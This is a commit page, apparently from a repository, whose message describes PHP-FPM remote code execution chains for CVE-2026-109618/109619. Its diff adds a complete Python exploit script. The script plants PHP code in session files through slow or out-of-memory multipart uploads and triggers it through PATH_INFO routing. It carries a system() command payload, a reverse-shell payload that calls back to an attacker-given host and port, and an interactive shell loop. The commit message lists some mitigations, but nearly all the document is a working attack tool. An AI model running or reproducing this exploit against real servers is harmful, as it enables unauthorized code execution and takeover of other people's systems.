FastCGI auto_prepend_file exploit: RCE without LFI on default PHP config
New exploit at fcgi/exploit_fcgi.py combines the session upload progress write primitive (CVE-2026-109618/109619) with direct FastCGI access to PHP-FPM. A slow-drip multipart upload holds one FPM worker in the multipart parser while a second FastCGI request includes the poisoned session file via auto_prepend_file. Works on default PHP configuration, no LFI, no framework, no libraries. security.limit_extensions does not block auto_prepend_file inclusion. php_admin_value in pool config does not block PHP_VALUE from raw FastCGI. Tested and confirmed RCE on: PHP 8.3.6 (local, pre-patch) PHP 8.3.35 (Docker, pre-patch) PHP 8.3.36 (Docker, patched) PHP 8.4.27 (Docker, patched) Mitigated by session.upload_progress.enabled=0 or blocking FPM access. Also includes nolfi/ exploit (served save_path + pathinfo routing) from previous work, and updated README with mitigation matrix for all vectors.
This commit is contained in:
@@ -0,0 +1,590 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI
|
||||
("served save_path" chain)
|
||||
|
||||
Every other exploit in this repo needs an include() primitive in the
|
||||
application to execute the poisoned session file. This one does not.
|
||||
It turns the session upload progress write primitive into RCE using only
|
||||
PHP-FPM request routing:
|
||||
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into
|
||||
<save_path>/sess_<SID> during multipart parsing. This fires even on
|
||||
URLs that do not exist (404), because rfc1867 processing happens in
|
||||
the SAPI POST reader before script dispatch. No session_start(),
|
||||
no application code involved.
|
||||
|
||||
2. If session.save_path lives under a web-served directory, the session
|
||||
file is directly requestable over HTTP.
|
||||
|
||||
3. php-fpm executes the (extension-less) session file when the request
|
||||
carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php
|
||||
— the classic nginx cgi.fix_pathinfo routing. The only gate is
|
||||
security.limit_extensions, whose compiled default (.php .phar) blocks
|
||||
it but which is frequently set empty in real deployments. Verified
|
||||
both ways against php-fpm 8.5 (see nolfi/FINDINGS.md).
|
||||
|
||||
4. session.upload_progress.cleanup=1 (default) truncates the file when
|
||||
the upload finishes, so execution is raced against the upload window
|
||||
with a slow multipart body. With cleanup=0 the file persists and no
|
||||
race is needed.
|
||||
|
||||
Preconditions (all defaults unless noted):
|
||||
- session.upload_progress.enabled=1
|
||||
- PHP-FPM with session.save_path web-served
|
||||
- security.limit_extensions empty (non-default; common in the wild)
|
||||
- any PHP-handled URL on the vhost, including 404s
|
||||
|
||||
Usage:
|
||||
python3 exploit_nolfi.py -t http://target/ --probe
|
||||
python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||
python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import io
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
|
||||
MARKER = "NOLFIMARK"
|
||||
|
||||
DEFAULT_URL_PREFIXES = [
|
||||
"/sessions",
|
||||
"/tmp",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php/session",
|
||||
"/var/lib/php5/sessions",
|
||||
"/sess",
|
||||
"/storage/sessions",
|
||||
"/files/sessions",
|
||||
]
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# HTTP helpers (raw sockets, same style as the other exploits)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _parse_url(url: str):
|
||||
from urllib.parse import urlparse
|
||||
p = urlparse(url)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
if p.query:
|
||||
path += "?" + p.query
|
||||
return host, port, tls, path
|
||||
|
||||
|
||||
def _connect(host, port, tls, timeout=10):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def _recv_response(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
chunk = sock.recv(8192)
|
||||
if not chunk:
|
||||
break
|
||||
resp += chunk
|
||||
if b"\r\n\r\n" in resp:
|
||||
hdr_end = resp.index(b"\r\n\r\n") + 4
|
||||
m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I)
|
||||
if m:
|
||||
cl = int(m.group(1))
|
||||
while len(resp) - hdr_end < cl:
|
||||
more = sock.recv(8192)
|
||||
if not more:
|
||||
break
|
||||
resp += more
|
||||
break
|
||||
if b"transfer-encoding: chunked" in resp[:hdr_end].lower():
|
||||
if b"\r\n0\r\n" in resp[hdr_end:]:
|
||||
break
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def _decode_chunked(data):
|
||||
out = b""
|
||||
while data:
|
||||
line_end = data.find(b"\r\n")
|
||||
if line_end < 0:
|
||||
break
|
||||
try:
|
||||
n = int(data[:line_end].split(b";")[0].strip(), 16)
|
||||
except ValueError:
|
||||
break
|
||||
if n == 0:
|
||||
break
|
||||
out += data[line_end + 2:line_end + 2 + n]
|
||||
data = data[line_end + 2 + n + 2:]
|
||||
return out
|
||||
|
||||
|
||||
def _body_of(resp):
|
||||
if b"\r\n\r\n" not in resp:
|
||||
return b""
|
||||
headers, body = resp.split(b"\r\n\r\n", 1)
|
||||
if b"transfer-encoding: chunked" in headers.lower():
|
||||
return _decode_chunked(body)
|
||||
return body
|
||||
|
||||
|
||||
def _status_of(resp):
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
return 0
|
||||
|
||||
|
||||
def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False):
|
||||
sock = _connect(host, port, tls)
|
||||
req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n"
|
||||
if cookie:
|
||||
req += b"Cookie: " + cookie.encode() + b"\r\n"
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req)
|
||||
resp = _recv_response(sock, timeout)
|
||||
sock.close()
|
||||
return _status_of(resp), _body_of(resp)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Multipart slow upload (keeps the poisoned session file on disk)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20,
|
||||
drip=0.01, result=None):
|
||||
boundary = b"----NOLFI" + os.urandom(6).hex().encode()
|
||||
head = (
|
||||
b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||
b"\r\n" + php_code + b"\r\n"
|
||||
b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
)
|
||||
tail = b"\r\n--" + boundary + b"--\r\n"
|
||||
total = len(head) + fill + len(tail)
|
||||
|
||||
try:
|
||||
sock = _connect(host, port, tls, timeout=60)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
|
||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n" + head
|
||||
)
|
||||
block = b"\x00" * 65000
|
||||
for _ in range(fill // len(block)):
|
||||
sock.sendall(block)
|
||||
time.sleep(drip)
|
||||
sock.sendall(tail)
|
||||
_recv_response(sock, timeout=5)
|
||||
sock.close()
|
||||
except OSError as e:
|
||||
if result is not None:
|
||||
result["error"] = str(e)
|
||||
|
||||
|
||||
def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000,
|
||||
fsize=512, result=None):
|
||||
"""CVE-2026-109618 OOM variant: progress + file part + field flood.
|
||||
|
||||
The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never
|
||||
runs and the poisoned session file persists. Requires the OOM body
|
||||
to fit under post_max_size while exceeding memory_limit headroom.
|
||||
"""
|
||||
boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode()
|
||||
|
||||
def field(name, value):
|
||||
return (b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
||||
+ value + b"\r\n")
|
||||
|
||||
def file_part():
|
||||
return (b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
+ b"\x00" * 2048 + b"\r\n")
|
||||
|
||||
def chunk(sock, data):
|
||||
sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n")
|
||||
|
||||
sent = 0
|
||||
try:
|
||||
sock = _connect(host, port, tls, timeout=60)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
|
||||
b"Transfer-Encoding: chunked\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
|
||||
chunk(sock, file_part())
|
||||
batch = b""
|
||||
for i in range(fields):
|
||||
batch += field(f"p{i:06d}".encode(), b"X" * fsize)
|
||||
if len(batch) >= 256 * 1024:
|
||||
chunk(sock, batch)
|
||||
sent = i
|
||||
batch = b""
|
||||
if batch:
|
||||
chunk(sock, batch)
|
||||
try:
|
||||
sock.sendall(b"0\r\n\r\n")
|
||||
_recv_response(sock, timeout=8)
|
||||
except OSError:
|
||||
pass
|
||||
sock.close()
|
||||
except OSError as e:
|
||||
if result is not None:
|
||||
result["error"] = str(e)
|
||||
if result is not None:
|
||||
result["fields_sent"] = sent
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Payloads
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def cmd_payload():
|
||||
return f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
|
||||
|
||||
|
||||
def reverse_shell_payload(lhost, lport):
|
||||
code = (
|
||||
f'$s=fsockopen("{lhost}",{lport});'
|
||||
f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'
|
||||
)
|
||||
return f'<?php echo "{MARKER}:"; {code} ?>'.encode()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Chain: poison -> probe served dir -> pathinfo execution
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def attempt_prefix(host, port, tls, path, url_prefix, php_code, window,
|
||||
fill=1 << 25, verbose=True, oom=False, fields=30000,
|
||||
fsize=512):
|
||||
"""One attempt against one URL prefix. Returns
|
||||
("rce", sid, url, text) | ("served", sid, url, None) | None."""
|
||||
sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \
|
||||
os.urandom(12).hex()
|
||||
sess_url = f"{url_prefix}/sess_{sid}"
|
||||
cookie = f"PHPSESSID={sid}"
|
||||
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
|
||||
|
||||
if oom:
|
||||
result = {}
|
||||
if verbose:
|
||||
print(f" [*] OOM poisoning {sess_url} ...")
|
||||
oom_poison_upload(host, port, tls, path, sid, php_code,
|
||||
fields=fields, fsize=fsize, result=result)
|
||||
time.sleep(1.0)
|
||||
saw_static = False
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url, cookie=None,
|
||||
timeout=5)
|
||||
if status == 200 and b"upload_progress_" in body:
|
||||
saw_static = True
|
||||
if verbose:
|
||||
print(f" [+] {sess_url} web-served, file persisted "
|
||||
f"(OOM bailout skipped cleanup)")
|
||||
except OSError:
|
||||
pass
|
||||
if saw_static:
|
||||
for path_info in exec_vectors:
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url + path_info,
|
||||
timeout=6)
|
||||
text = body.decode(errors="replace")
|
||||
if MARKER in text:
|
||||
return ("rce", sid, sess_url + path_info, text)
|
||||
except OSError:
|
||||
continue
|
||||
return ("served", sid, sess_url, None)
|
||||
if verbose and result.get("error"):
|
||||
print(f" [!] upload error: {result['error']}")
|
||||
return None
|
||||
|
||||
result = {}
|
||||
t = threading.Thread(target=slow_poison_upload,
|
||||
args=(host, port, tls, path, sid, php_code),
|
||||
kwargs={"result": result, "fill": fill}, daemon=True)
|
||||
t.start()
|
||||
time.sleep(0.5)
|
||||
|
||||
deadline = time.time() + window
|
||||
saw_static = False
|
||||
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
|
||||
while time.time() < deadline:
|
||||
# execution vectors first, raced against the (possibly tiny) window
|
||||
for path_info in exec_vectors:
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url + path_info,
|
||||
timeout=3)
|
||||
text = body.decode(errors="replace")
|
||||
if MARKER in text:
|
||||
return ("rce", sid, sess_url + path_info, text)
|
||||
except OSError:
|
||||
continue
|
||||
# static: served-dir detection (source disclosure of the session file)
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url, cookie=None,
|
||||
timeout=3)
|
||||
if status == 200 and b"upload_progress_" in body:
|
||||
saw_static = True
|
||||
if verbose:
|
||||
print(f" [+] {sess_url} is web-served "
|
||||
f"(session file source disclosed)")
|
||||
break
|
||||
except OSError:
|
||||
pass
|
||||
time.sleep(0.005)
|
||||
|
||||
t.join(timeout=3)
|
||||
|
||||
# post-window calm checks: streaming stacks with cleanup=0 keep the file
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3)
|
||||
if status == 200 and b"upload_progress_" in body:
|
||||
saw_static = True
|
||||
if verbose:
|
||||
print(f" [+] {sess_url} is web-served (file persisted "
|
||||
f"after upload: cleanup=0)")
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if saw_static:
|
||||
for path_info in exec_vectors:
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url + path_info,
|
||||
timeout=4)
|
||||
text = body.decode(errors="replace")
|
||||
if MARKER in text:
|
||||
return ("rce", sid, sess_url + path_info, text)
|
||||
except OSError:
|
||||
continue
|
||||
|
||||
if saw_static:
|
||||
return ("served", sid, sess_url, None)
|
||||
return None
|
||||
|
||||
|
||||
def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False,
|
||||
fields=30000, fsize=512):
|
||||
"""Re-poison the same SID and execute a command during the window."""
|
||||
sess_url = f"{url_prefix}/sess_{sid}"
|
||||
payload = f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
|
||||
hit = {}
|
||||
lock = threading.Lock()
|
||||
|
||||
def poll(pi):
|
||||
while True:
|
||||
if stop.is_set():
|
||||
return
|
||||
try:
|
||||
status, body = _get(host, port, tls,
|
||||
sess_url + pi + "?c=" + cmd.replace(" ", "+"),
|
||||
timeout=6)
|
||||
text = body.decode(errors="replace")
|
||||
if MARKER in text:
|
||||
with lock:
|
||||
if "out" not in hit:
|
||||
out = text.split(MARKER + ":", 1)[1]
|
||||
hit["out"] = out.split(
|
||||
'|a:5:{s:10:"start_time"', 1)[0]
|
||||
stop.set()
|
||||
return
|
||||
except OSError:
|
||||
continue
|
||||
|
||||
if oom:
|
||||
result = {}
|
||||
oom_poison_upload(host, port, tls, path, sid, payload,
|
||||
fields=fields, fsize=fsize, result=result)
|
||||
stop = threading.Event()
|
||||
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
|
||||
for pi in ("/x.php", "/index.php")]
|
||||
for th in threads:
|
||||
th.start()
|
||||
for th in threads:
|
||||
th.join(timeout=10)
|
||||
return hit.get("out")
|
||||
|
||||
result = {}
|
||||
for cycle in range(3 if not oom else 1):
|
||||
t = threading.Thread(target=slow_poison_upload,
|
||||
args=(host, port, tls, path, sid, payload),
|
||||
kwargs={"result": result}, daemon=True)
|
||||
t.start()
|
||||
time.sleep(0.3)
|
||||
stop = threading.Event()
|
||||
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
|
||||
for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")]
|
||||
for th in threads:
|
||||
th.start()
|
||||
grace = None
|
||||
while True:
|
||||
if stop.is_set():
|
||||
break
|
||||
if not t.is_alive():
|
||||
if grace is None:
|
||||
grace = time.time() + 1.5
|
||||
elif time.time() > grace:
|
||||
break
|
||||
time.sleep(0.002)
|
||||
stop.set()
|
||||
for th in threads:
|
||||
th.join(timeout=3)
|
||||
if "out" in hit:
|
||||
return hit["out"]
|
||||
return None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Main
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser(
|
||||
description="CVE-2026-109618/109619: RCE without LFI "
|
||||
"(web-served session.save_path + php-fpm pathinfo)",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
%(prog)s -t http://target/ --probe
|
||||
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||
%(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20
|
||||
""")
|
||||
p.add_argument("--target", "-t", required=True,
|
||||
help="Target base URL (any PHP-handled URL on the vhost, "
|
||||
"404 is fine)")
|
||||
p.add_argument("--url-prefix", default="",
|
||||
help="URL prefix that serves session.save_path "
|
||||
"(e.g. /sessions). Probes defaults if omitted")
|
||||
p.add_argument("--cmd", help="Command to execute")
|
||||
p.add_argument("--lhost", help="Listener IP for reverse shell")
|
||||
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
|
||||
p.add_argument("--window", type=float, default=12.0,
|
||||
help="Upload race window in seconds (default 12)")
|
||||
p.add_argument("--fill", type=int, default=6, help="Upload filler size "
|
||||
"in MB; must stay under the target post_max_size (default "
|
||||
"6MB, PHP default post_max_size is 8M)")
|
||||
p.add_argument("--probe", action="store_true",
|
||||
help="Only classify the target, do not attack")
|
||||
p.add_argument("--oom", action="store_true",
|
||||
help="Use the CVE-2026-109618 OOM bailout for "
|
||||
"persistence instead of racing the upload window "
|
||||
"(requires post_max_size > OOM volume and memory "
|
||||
"headroom)")
|
||||
p.add_argument("--fields", type=int, default=30000,
|
||||
help="OOM pressure fields (default 30000)")
|
||||
p.add_argument("--fsize", type=int, default=512,
|
||||
help="OOM field size in bytes (default 512)")
|
||||
p.add_argument("--attempts", type=int, default=3)
|
||||
args = p.parse_args()
|
||||
|
||||
host, port, tls, path = _parse_url(args.target)
|
||||
scheme = "https" if tls else "http"
|
||||
|
||||
print(f"[*] RCE without LFI — served save_path + fpm pathinfo")
|
||||
print(f"[*] Target: {args.target}")
|
||||
|
||||
prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES)
|
||||
fill = args.fill * (1 << 20)
|
||||
if args.probe:
|
||||
php_code = cmd_payload()
|
||||
print(f"[*] Probing {len(prefixes)} candidate URL prefixes "
|
||||
f"(web-served session dir detection)")
|
||||
for prefix in prefixes:
|
||||
r = attempt_prefix(host, port, tls, path, prefix, php_code,
|
||||
window=args.window, fill=fill, verbose=True,
|
||||
oom=args.oom, fields=args.fields,
|
||||
fsize=args.fsize)
|
||||
if r is None:
|
||||
print(f" [-] {prefix}: not served")
|
||||
else:
|
||||
kind, sid, url, text = r
|
||||
if kind == "rce":
|
||||
print(f" [++] {prefix}: EXECUTABLE — {url}")
|
||||
else:
|
||||
print(f" [+] {prefix}: served, not executable "
|
||||
f"(limit_extensions default or non-fpm engine)")
|
||||
return
|
||||
|
||||
if not args.cmd and not (args.lhost and args.lport):
|
||||
print("[!] Specify --probe, --cmd, or --lhost/--lport")
|
||||
sys.exit(1)
|
||||
|
||||
php_code = (cmd_payload() if args.cmd
|
||||
else reverse_shell_payload(args.lhost, args.lport))
|
||||
if args.oom:
|
||||
print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B "
|
||||
f"fields)")
|
||||
else:
|
||||
print(f"[*] Race window: {args.window}s per prefix, "
|
||||
f"{len(prefixes)} prefixes")
|
||||
|
||||
for attempt in range(1, args.attempts + 1):
|
||||
for prefix in prefixes:
|
||||
print(f"[*] Attempt {attempt}/{args.attempts} "
|
||||
f"against {prefix} ...")
|
||||
r = attempt_prefix(host, port, tls, path, prefix, php_code,
|
||||
window=args.window, fill=fill, verbose=True,
|
||||
oom=args.oom, fields=args.fields,
|
||||
fsize=args.fsize)
|
||||
if r is None:
|
||||
continue
|
||||
kind, sid, url, text = r
|
||||
if kind == "rce":
|
||||
print(f"\n[+] RCE CONFIRMED (no LFI): {url}")
|
||||
if args.cmd:
|
||||
out = run_cmd(host, port, tls, path, prefix, sid,
|
||||
args.cmd, oom=args.oom, fields=args.fields,
|
||||
fsize=args.fsize)
|
||||
print(f"[+] {args.cmd}\n{out}" if out is not None
|
||||
else "[!] exec failed (race lost, retry)")
|
||||
else:
|
||||
print(f"[*] Reverse shell payload executed — check "
|
||||
f"listener on {args.lhost}:{args.lport}")
|
||||
while True:
|
||||
try:
|
||||
c = input("shell> ").strip()
|
||||
except EOFError:
|
||||
break
|
||||
if not c:
|
||||
continue
|
||||
out = run_cmd(host, port, tls, path, prefix, sid, c,
|
||||
oom=args.oom, fields=args.fields,
|
||||
fsize=args.fsize)
|
||||
print(out if out is not None else "[!] exec failed")
|
||||
return
|
||||
print(f" [+] {prefix}: served but not executable "
|
||||
f"(session source disclosure only)")
|
||||
print("[!] No executable prefix found. Precondition likely missing: "
|
||||
"save_path not web-served, or security.limit_extensions is set.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user